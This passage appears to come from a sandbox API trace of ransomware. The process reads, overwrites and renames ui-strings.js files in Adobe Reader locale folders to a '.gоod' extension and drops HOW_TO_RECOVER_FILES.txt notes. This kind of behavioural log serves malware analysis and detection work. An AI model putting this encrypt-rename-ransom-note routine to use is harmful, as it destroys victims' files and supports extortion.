DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0185.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0185.842] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hu-hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0186.307] GetFileType (hFile=0x630) returned 0x1 [0186.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0186.307] GetFileType (hFile=0x630) returned 0x1 [0186.308] WriteFile (in: hFile=0x630, lpBuffer=0x3798c10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3798c10*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0186.309] CloseHandle (hObject=0x630) returned 1 [0186.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0186.309] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it", lpFilePart=0x0) returned 0x6a [0186.309] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0186.310] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.310] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0186.311] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0186.311] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0186.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0186.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0186.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0186.311] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it", lpFilePart=0x0) returned 0x6a [0186.311] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0186.311] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.311] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0186.312] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0186.312] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0186.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0186.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0186.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0186.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0186.312] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37a8878 | out: lpFileInformation=0x37a8878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f72)) returned 1 [0186.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0186.313] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0186.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0186.313] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0186.313] GetFileType (hFile=0x630) returned 0x1 [0186.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0186.313] GetFileType (hFile=0x630) returned 0x1 [0186.314] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0186.314] ReadFile (in: hFile=0x630, lpBuffer=0x37a8d60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x37a8d60*, lpNumberOfBytesRead=0x1ffebaa8*=0xf72, lpOverlapped=0x0) returned 1 [0186.317] CloseHandle (hObject=0x630) returned 1 [0186.317] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0186.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0186.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0186.317] GetFileType (hFile=0x630) returned 0x1 [0186.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0186.317] GetFileType (hFile=0x630) returned 0x1 [0186.317] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1f72 [0186.317] WriteFile (in: hFile=0x630, lpBuffer=0x37ab2f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x37ab2f0*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0186.317] CloseHandle (hObject=0x630) returned 1 [0186.318] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0186.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0186.318] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0186.318] GetFileType (hFile=0x630) returned 0x1 [0186.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0186.318] GetFileType (hFile=0x630) returned 0x1 [0186.318] ReadFile (in: hFile=0x630, lpBuffer=0x37ad618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x37ad618*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0187.048] CloseHandle (hObject=0x630) returned 1 [0187.048] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0187.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0187.048] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0187.048] GetFileType (hFile=0x630) returned 0x1 [0187.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0187.048] GetFileType (hFile=0x630) returned 0x1 [0187.048] WriteFile (in: hFile=0x630, lpBuffer=0x3668340*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3668340*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0187.048] CloseHandle (hObject=0x630) returned 1 [0187.049] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0187.049] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0187.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0187.049] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6bb4d529, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f82)) returned 1 [0187.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0187.049] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\it-it\\ui-strings.js.gоod")) returned 1 [0187.051] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0187.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0187.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\it-it\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0187.052] GetFileType (hFile=0x630) returned 0x1 [0187.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0187.052] GetFileType (hFile=0x630) returned 0x1 [0187.053] WriteFile (in: hFile=0x630, lpBuffer=0x393aec0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x393aec0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0187.054] CloseHandle (hObject=0x630) returned 1 [0187.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0187.055] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp", lpFilePart=0x0) returned 0x6a [0187.055] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0187.055] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.055] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x24b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0187.055] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0187.056] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0187.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0187.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0187.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0187.056] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp", lpFilePart=0x0) returned 0x6a [0187.068] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0187.068] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.068] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x24b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0187.069] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x24b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0187.069] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0187.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0187.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0187.069] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0187.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0187.069] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: 